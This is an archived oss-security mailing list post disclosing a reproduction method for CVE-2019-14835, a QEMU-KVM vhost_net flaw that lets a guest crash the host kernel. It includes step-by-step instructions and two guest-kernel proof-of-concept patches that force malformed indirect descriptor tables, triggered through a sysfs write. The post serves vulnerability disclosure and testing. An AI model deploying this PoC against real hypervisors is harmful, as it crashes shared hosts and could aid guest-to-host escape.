[prev in list] [next in list] [prev in thread] [next in thread] 

List:       oss-security
Subject:    [oss-security] Re: CVE-2019-14835: QEMU-KVM Guest to Host Kernel Escape Vulnerability: vhost/vhost_n
From:       <peterpi () tencent ! com>
Date:       2019-09-24 9:29:10
Message-ID: 67c3c942b4854b6e8a14a29d16c6af96 () tencent ! com
[Download RAW message or body]

[Attachment #2 (multipart/alternative)]

[Attachment #4 (text/plain)]

Reproduce method of CVE-2019-14835 with Ubuntu and virt-manager.

The reproduce method will hit the log buffer overflow in function get_indirect and crash the \
host kernel. We will use virt-manager to do live migrate. If you have your own live migrate \
method, then you only need the "setup guest" step, then trigger live migrate to test the bug.

Two Hosts: A local host installed Ubuntu 18.04 LTS with [your target kernel] and with \
virt-manager installed, and can create and start a QEMU-KVM VM by virt-manager. And a remote \
                host with same setup (no need latest mainline stable kernel) for live migrate.
Guest: Create a Ubuntu 16.04 LTS guest by virt-manager on local host.

We will setup virt-manager live migrate connection, and setup the guest kernel with indirect \
desc table, then trigger live migrate by virt-manager, local host kernel will be crashed. It \
seems virt-manger will use vhost/vhost_net as default virtio network backend on my environment.

1> Connect to remote host for live migrate
Start virt-manager on local host by : sudo virt-manager --no-fork
After using --no-fork, you can add connection to remote host using SSH.
In the virt-manager main window, select File -> Add Connection -> Connect to remote host \
(Method: SSH, Username : [remote host ssh login username], Hostname : [remote host IP]) Click \
connect, then in the "sudo virt-manager --no-fork" shell will let you to input SSH login \
password.


2> setup guest
After connected to remote host, you can start your guest to setup it.
Start guest, virt-manager will new a VM window to start your guest vm.

In guest, I cloned Linux kernel from ubuntu kernel source \
git(git://kernel.ubuntu.com/ubuntu/ubuntu-xenial.git) according to ubuntu wiki. And "git \
checkout Ubuntu-hwe-4.15.0-50.54_16.04.1". Build the kernel with attached patches and install \
the built kernel.

In the guest with built kernel, do below steps:

root@pp-Standard-PC-i440FX-PIIX-1996:~# find /sys -name "*mergeable*"
/sys/devices/pci0000:00/0000:00:03.0/virtio0/net/ens3/queues/rx-0/virtio_net/mergeable_rx_buffer_size
 root@pp-Standard-PC-i440FX-PIIX-1996:~# echo 60000 > \
/sys/devices/pci0000:00/0000:00:03.0/virtio0/net/ens3/queues/rx-0/virtio_net/mergeable_rx_buffer_size
 root@pp-Standard-PC-i440FX-PIIX-1996:~# modprobe -r virtio_net
root@pp-Standard-PC-i440FX-PIIX-1996:~# modprobe  virtio_net
root@pp-Standard-PC-i440FX-PIIX-1996:~#


3> Trigger live migrate
In the virt-manager VM window, select Virtual Machine -> Migrate -> if the "Address" field \
displays remote host machine name, change it to remote host IP. When start migrate, it will \
cause local host kernel crash after some seconds.

Peter Pi of Tencent Blade Team


[Attachment #5 (text/html)]

<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" \
xmlns:w="urn:schemas-microsoft-com:office:word" \
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml" \
xmlns="http://www.w3.org/TR/REC-html40"> <head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="Generator" content="Microsoft Word 15 (filtered medium)">
<style><!--
/* Font Definitions */
@font-face
	{font-family:"Cambria Math";
	panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
	{font-family:等线;
	panose-1:2 1 6 0 3 1 1 1 1 1;}
@font-face
	{font-family:"\@等线";
	panose-1:2 1 6 0 3 1 1 1 1 1;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	text-align:justify;
	text-justify:inter-ideograph;
	font-size:10.5pt;
	font-family:等线;}
a:link, span.MsoHyperlink
	{mso-style-priority:99;
	color:#0563C1;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{mso-style-priority:99;
	color:#954F72;
	text-decoration:underline;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	font-family:等线;
	color:windowtext;}
.MsoChpDefault
	{mso-style-type:export-only;
	font-family:等线;}
/* Page Definitions */
@page WordSection1
	{size:612.0pt 792.0pt;
	margin:72.0pt 90.0pt 72.0pt 90.0pt;}
div.WordSection1
	{page:WordSection1;}
--></style><!--[if gte mso 9]><xml>
<o:shapedefaults v:ext="edit" spidmax="1026" />
</xml><![endif]--><!--[if gte mso 9]><xml>
<o:shapelayout v:ext="edit">
<o:idmap v:ext="edit" data="1" />
</o:shapelayout></xml><![endif]-->
</head>
<body lang="ZH-CN" link="#0563C1" vlink="#954F72" style="text-justify-trim:punctuation">
<div class="WordSection1">
<p class="MsoNormal"><span lang="EN-US">Reproduce method of CVE-2019-14835 with Ubuntu and \
virt-manager.<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US"><o:p>&nbsp;</o:p></span></p> <p class="MsoNormal"><span lang="EN-US">The reproduce \
method will hit the log buffer overflow in function get_indirect and crash the host \
kernel.<o:p></o:p></span></p> <p class="MsoNormal"><span lang="EN-US">We will use virt-manager \
to do live migrate. If you have your own live migrate method, then you only need the \
&quot;setup guest&quot; step, then trigger live migrate to test the bug.<o:p></o:p></span></p> \
<p class="MsoNormal"><span lang="EN-US"><o:p>&nbsp;</o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">Two Hosts: A local host installed Ubuntu 18.04 LTS with [your target kernel] and \
with virt-manager installed, and can create and start a QEMU-KVM VM by virt-manager. And a \
remote host with same setup (no need latest mainline  stable kernel) for live \
migrate.<o:p></o:p></span></p> <p class="MsoNormal"><span lang="EN-US">Guest: Create a Ubuntu \
16.04 LTS guest by virt-manager on local host. <o:p></o:p></span></p>
<p class="MsoNormal"><span lang="EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal"><span lang="EN-US">We will setup virt-manager live migrate connection, and \
setup the guest kernel with indirect desc table, then trigger live migrate by virt-manager, \
local host kernel will be crashed.<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">It seems virt-manger will use vhost/vhost_net as default virtio network backend on \
my environment.<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US"><o:p>&nbsp;</o:p></span></p> <p class="MsoNormal"><span lang="EN-US">1&gt; Connect \
to remote host for live migrate<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">Start virt-manager on local host by : sudo virt-manager \
--no-fork<o:p></o:p></span></p> <p class="MsoNormal"><span lang="EN-US">After using --no-fork, \
you can add connection to remote host using SSH.<o:p></o:p></span></p> <p \
class="MsoNormal"><span lang="EN-US">In the virt-manager main window, select File -&gt; Add \
Connection -&gt; Connect to remote host (Method: SSH, Username : [remote host ssh login \
username], Hostname : [remote host IP])<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">Click connect, then in the &quot;sudo virt-manager --no-fork&quot; shell will let \
you to input SSH login password.<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">&nbsp;&nbsp; <o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US"><o:p>&nbsp;</o:p></span></p> <p class="MsoNormal"><span lang="EN-US">2&gt; setup \
guest<o:p></o:p></span></p> <p class="MsoNormal"><span lang="EN-US">After connected to remote \
host, you can start your guest to setup it.<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">Start guest, virt-manager will new a VM window to start your guest \
vm.<o:p></o:p></span></p> <p class="MsoNormal"><span lang="EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal"><span lang="EN-US">In guest, I cloned Linux kernel from ubuntu kernel \
source git(git://kernel.ubuntu.com/ubuntu/ubuntu-xenial.git) according to ubuntu wiki. \
<o:p></o:p></span></p> <p class="MsoNormal"><span lang="EN-US">And &quot;git checkout \
Ubuntu-hwe-4.15.0-50.54_16.04.1&quot;. Build the kernel with attached patches and install the \
built kernel.<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US"><o:p>&nbsp;</o:p></span></p> <p class="MsoNormal"><span lang="EN-US">In the guest \
with built kernel, do below steps:<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US"><o:p>&nbsp;</o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">root@pp-Standard-PC-i440FX-PIIX-1996:~# find /sys -name \
&quot;*mergeable*&quot;<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">/sys/devices/pci0000:00/0000:00:03.0/virtio0/net/ens3/queues/rx-0/virtio_net/mergeable_rx_buffer_size<o:p></o:p></span></p>
 <p class="MsoNormal"><span lang="EN-US">root@pp-Standard-PC-i440FX-PIIX-1996:~# echo 60000 \
&gt; /sys/devices/pci0000:00/0000:00:03.0/virtio0/net/ens3/queues/rx-0/virtio_net/mergeable_rx_buffer_size<o:p></o:p></span></p>
 <p class="MsoNormal"><span lang="EN-US">root@pp-Standard-PC-i440FX-PIIX-1996:~# modprobe -r \
virtio_net<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">root@pp-Standard-PC-i440FX-PIIX-1996:~# modprobe&nbsp; \
virtio_net<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">root@pp-Standard-PC-i440FX-PIIX-1996:~#<o:p></o:p></span></p> <p \
class="MsoNormal"><span lang="EN-US"><o:p>&nbsp;</o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US"><o:p>&nbsp;</o:p></span></p> <p class="MsoNormal"><span lang="EN-US">3&gt; Trigger \
live migrate<o:p></o:p></span></p> <p class="MsoNormal"><span lang="EN-US">In the virt-manager \
VM window, select Virtual Machine -&gt; Migrate -&gt; if the &quot;Address&quot; field displays \
remote host machine name, change it to remote host IP.<o:p></o:p></span></p> <p \
class="MsoNormal"><span lang="EN-US">When start migrate, it will cause local host kernel crash \
after some seconds.<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US"><o:p>&nbsp;</o:p></span></p> <p class="MsoNormal"><span lang="EN-US">Peter Pi of \
Tencent Blade Team<o:p></o:p></span></p> </div>
</body>
</html>


["poc_guest_virtio_ring.diff" (application/octet-stream)]

diff --git a/drivers/virtio/virtio_ring.c b/drivers/virtio/virtio_ring.c
index 71458f4..4c14dd1 100644
--- a/drivers/virtio/virtio_ring.c
+++ b/drivers/virtio/virtio_ring.c
@@ -256,7 +256,8 @@ static struct vring_desc *alloc_indirect(struct virtqueue *_vq,
 		desc[i].next = cpu_to_virtio16(_vq->vdev, i + 1);
 	return desc;
 }
-
+volatile int g_trigger_bug = 0;
+EXPORT_SYMBOL(g_trigger_bug);
 static inline int virtqueue_add(struct virtqueue *_vq,
 				struct scatterlist *sgs[],
 				unsigned int total_sg,
@@ -276,8 +277,8 @@ static inline int virtqueue_add(struct virtqueue *_vq,
 	START_USE(vq);
 
 	BUG_ON(data == NULL);
-	BUG_ON(ctx && vq->indirect);
-
+	// by peter BUG_ON(ctx && vq->indirect);
+	//printk("[Peter] ENter virtqueue_add name = %s\n", _vq->name);
 	if (unlikely(vq->broken)) {
 		END_USE(vq);
 		return -EIO;
@@ -299,6 +300,11 @@ static inline int virtqueue_add(struct virtqueue *_vq,
 	BUG_ON(total_sg == 0);
 
 	head = vq->free_head;
+	if (g_trigger_bug && strstr(_vq->name, "input")) { //added by peter
+		vq->indirect = true;
+		total_sg = g_trigger_bug;
+		printk("[Peter] set indirect to true, total_sg to %d\n", total_sg);
+	}
 
 	/* If the host supports indirect descriptor tables, and we have multiple
 	 * buffers, then go indirect. FIXME: tune this threshold */
@@ -323,7 +329,7 @@ static inline int virtqueue_add(struct virtqueue *_vq,
 	}
 
 	if (vq->vq.num_free < descs_used) {
-		pr_debug("Can't add buf len %i - avail = %i\n",
+		pr_err("[Peter] Can't add buf len %i - avail = %i\n",
 			 descs_used, vq->vq.num_free);
 		/* FIXME: for historical reasons, we force a notify here if
 		 * there are outgoing parts to the buffer.  Presumably the
@@ -362,6 +368,17 @@ static inline int virtqueue_add(struct virtqueue *_vq,
 			i = virtio16_to_cpu(_vq->vdev, desc[i].next);
 		}
 	}
+
+	if (g_trigger_bug && strstr(_vq->name , "input")) { // added by peter
+		for (; n < total_sg; ++n) {
+			desc[i].flags = desc[prev].flags;
+			desc[i].addr = desc[prev].addr;
+			desc[i].len = (n > 500) ? 0 : desc[prev].len;
+			prev = i;
+			i = virtio16_to_cpu(_vq->vdev, desc[i].next);
+		}
+		printk("[Peter] desc addr = 0x%lx, len = %x\n", desc[prev].addr, desc[prev].len);
+	}
 	/* Last one doesn't continue. */
 	desc[prev].flags &= cpu_to_virtio16(_vq->vdev, ~VRING_DESC_F_NEXT);
 
@@ -377,6 +394,9 @@ static inline int virtqueue_add(struct virtqueue *_vq,
 		vq->vring.desc[head].addr = cpu_to_virtio64(_vq->vdev, addr);
 
 		vq->vring.desc[head].len = cpu_to_virtio32(_vq->vdev, total_sg * sizeof(struct vring_desc));
+		if (g_trigger_bug && strstr(_vq->name , "input")) {
+			printk("[Peter] indirect->addr = 0x%lx, indirect->len = %x\n", vq->vring.desc[head].addr, \
vq->vring.desc[head].len); +		}
 	}
 
 	/* We're using some buffers from the free list. */


["poc_guest_virtio_net.diff" (application/octet-stream)]

diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c
index c70441f..f7d61ab 100644
--- a/drivers/net/virtio_net.c
+++ b/drivers/net/virtio_net.c
@@ -916,7 +916,7 @@ static int add_recvbuf_small(struct virtnet_info *vi, struct receive_queue *rq,
 	void *ctx = (void *)(unsigned long)xdp_headroom;
 	int len = vi->hdr_len + VIRTNET_RX_PAD + GOOD_PACKET_LEN + xdp_headroom;
 	int err;
-
+	//printk("[Peter] add_recvbuf_small name = %s\n", rq->vq->name);
 	len = SKB_DATA_ALIGN(len) +
 	      SKB_DATA_ALIGN(sizeof(struct skb_shared_info));
 	if (unlikely(!skb_page_frag_refill(len, alloc_frag, gfp)))
@@ -939,7 +939,7 @@ static int add_recvbuf_big(struct virtnet_info *vi, struct receive_queue *rq,
 	struct page *first, *list = NULL;
 	char *p;
 	int i, err, offset;
-
+	//printk("[Peter] add_recvbuf_big name = %s\n", rq->vq->name);
 	sg_init_table(rq->sg, MAX_SKB_FRAGS + 2);
 
 	/* page in rq->sg[MAX_SKB_FRAGS + 1] is list tail */
@@ -1002,7 +1002,7 @@ static int add_recvbuf_mergeable(struct virtnet_info *vi,
 	void *ctx;
 	int err;
 	unsigned int len, hole;
-
+	//printk("[Peter] add_recvbuf_mergeable name = %s\n", rq->vq->name);
 	len = get_mergeable_buf_len(rq, &rq->mrg_avg_pkt_len);
 	if (unlikely(!skb_page_frag_refill(len + headroom, alloc_frag, gfp)))
 		return -ENOMEM;
@@ -2463,9 +2463,15 @@ static ssize_t mergeable_rx_buffer_size_show(struct netdev_rx_queue *queue,
 	return sprintf(buf, "%u\n",
 		       get_mergeable_buf_len(&vi->rq[queue_index], avg));
 }
-
+//added by peter
+extern volatile int g_trigger_bug;
+ssize_t mergeable_rx_buffer_size_store(struct netdev_rx_queue *queue,
+	const char* buf, size_t len) {
+	kstrtos32(buf, 10, &g_trigger_bug);
+	printk("[Peter] g_trigger_bug set to %d\n", g_trigger_bug);
+}
 static struct rx_queue_attribute mergeable_rx_buffer_size_attribute =
-	__ATTR_RO(mergeable_rx_buffer_size);
+	__ATTR_RW(mergeable_rx_buffer_size); // modified by peter
 
 static struct attribute *virtio_net_mrg_rx_attrs[] = {
 	&mergeable_rx_buffer_size_attribute.attr,


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic